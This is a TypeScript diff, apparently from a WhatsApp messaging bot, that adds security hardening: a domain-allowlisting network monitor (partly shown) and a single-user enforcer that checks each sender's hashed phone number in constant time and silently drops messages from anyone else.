logSecurityEvent("hardening_init", {
module: "network-monitor",
allowedDomainCount: allowedDomainSet.size,
allowedSuffixCount: allowedSuffixList.length,
enforce: enforceMode,
});
}
/**
* Extract hostname from http.request / https.request arguments.
* Signature: (url, options, callback) | (options, callback) | (url, callback)
*/
function extractHostnameFromHttpArgs(args: unknown[]): string | null {
const first = args[0];
if (typeof first === "string") {
try {
return new URL(first).hostname;
} catch {
return null;
}
}
if (first instanceof URL) {
return first.hostname;
}
if (first && typeof first === "object") {
const opts = first as Record<string, unknown>;
if (typeof opts.hostname === "string") return opts.hostname;
if (typeof opts.host === "string") {
// host may include port
return opts.host.replace(/:\d+$/, "");
}
}
return null;
}
/**
* Uninstall the network monitor, restoring original functions.
*/
export function uninstallNetworkMonitor(): void {
if (!installed) return;
if (originalFetch) {
globalThis.fetch = originalFetch;
originalFetch = null;
}
if (originalHttpRequest) {
(http as { request: typeof http.request }).request = originalHttpRequest;
originalHttpRequest = null;
}
if (originalHttpsRequest) {
(https as { request: typeof https.request }).request = originalHttpsRequest;
originalHttpsRequest = null;
}
allowedDomainSet = null;
allowedSuffixList = null;
installed = false;
}
/**
* Check if the network monitor is currently active.
*/
export function isNetworkMonitorActive(): boolean {
return installed;
}
/** Reset internal state (test-only). */
export function __resetNetworkMonitorForTest(): void {
uninstallNetworkMonitor();
}

View File

@ -0,0 +1,86 @@
import crypto from "node:crypto";
import { logSecurityEvent } from "./hardening-logger.js";
export type SingleUserEnforcerOptions = {
/**
* SHA-256 hex hash of the authorized WhatsApp JID (e.g. "+8613800138000").
* When set, only messages from this JID are allowed; everything else is silently dropped.
* Generate with: echo -n "+8613800138000" | sha256sum
*/
authorizedUserHash: string;
};
let enforcerHash: string | null = null;
/**
* Hash a sender identifier with SHA-256.
*/
export function hashSender(sender: string): string {
return crypto.createHash("sha256").update(sender).digest("hex");
}
/**
* Initialize the single-user enforcer.
* Must be called before any message processing.
*/
export function initSingleUserEnforcer(opts: SingleUserEnforcerOptions): void {
const hash = opts.authorizedUserHash.trim().toLowerCase();
if (!/^[0-9a-f]{64}$/.test(hash)) {
throw new Error(
"single-user-enforcer: authorizedUserHash must be a 64-char lowercase hex SHA-256 hash",
);
}
enforcerHash = hash;
logSecurityEvent("hardening_init", {
module: "single-user-enforcer",
hashPrefix: hash.slice(0, 8) + "...",
});
}
/**
* Check whether a sender is the authorized user.
* Uses constant-time comparison to prevent timing attacks.
*
* @param senderIdentifier - The sender's normalized identifier (e.g. E.164 phone number "+8613800138000")
* @returns true if authorized, false otherwise
*/
export function isAuthorizedSender(senderIdentifier: string): boolean {
if (!enforcerHash) {
// Enforcer not initialized - fail closed (deny all).
logSecurityEvent("hardening_error", {
module: "single-user-enforcer",
error: "enforcer not initialized, denying all",
});
return false;
}
const senderHash = hashSender(senderIdentifier);
// Constant-time comparison to prevent timing side-channel attacks.
const authorized = crypto.timingSafeEqual(
Buffer.from(senderHash, "hex"),
Buffer.from(enforcerHash, "hex"),
);
if (!authorized) {
logSecurityEvent("blocked_sender", {
senderHashPrefix: senderHash.slice(0, 8) + "...",
senderIdentifier: senderIdentifier.slice(0, 4) + "****",
});
}
return authorized;
}
/**
* Check if the single-user enforcer is active.
*/
export function isSingleUserEnforcerActive(): boolean {
return enforcerHash !== null;
}
/** Reset internal state (test-only). */
export function __resetSingleUserEnforcerForTest(): void {
enforcerHash = null;
}

View File

@ -9,6 +9,10 @@ import { saveMediaBuffer } from "../../media/store.js";
import { createInboundDebouncer } from "../../auto-reply/inbound-debounce.js";
import { jidToE164, resolveJidToE164 } from "../../utils.js";
import { createWaSocket, getStatusCode, waitForWaConnection } from "../session.js";
import {
isAuthorizedSender,
isSingleUserEnforcerActive,
} from "../../security/single-user-enforcer.js";
import { checkInboundAccessControl } from "./access-control.js";
import { isRecentInboundMessage } from "./dedupe.js";
import {
@ -166,6 +170,13 @@ export async function monitorWebInbox(options: {
: null
: from;
// Single-user enforcer: silently drop messages from non-authorized senders.
// This runs before access-control to avoid any response/pairing leakage.
if (isSingleUserEnforcerActive()) {
const senderToCheck = senderE164 ?? from;
if (!isAuthorizedSender(senderToCheck)) continue;
}
let groupSubject: string | undefined;
let groupParticipants: string[] | undefined;
if (group) {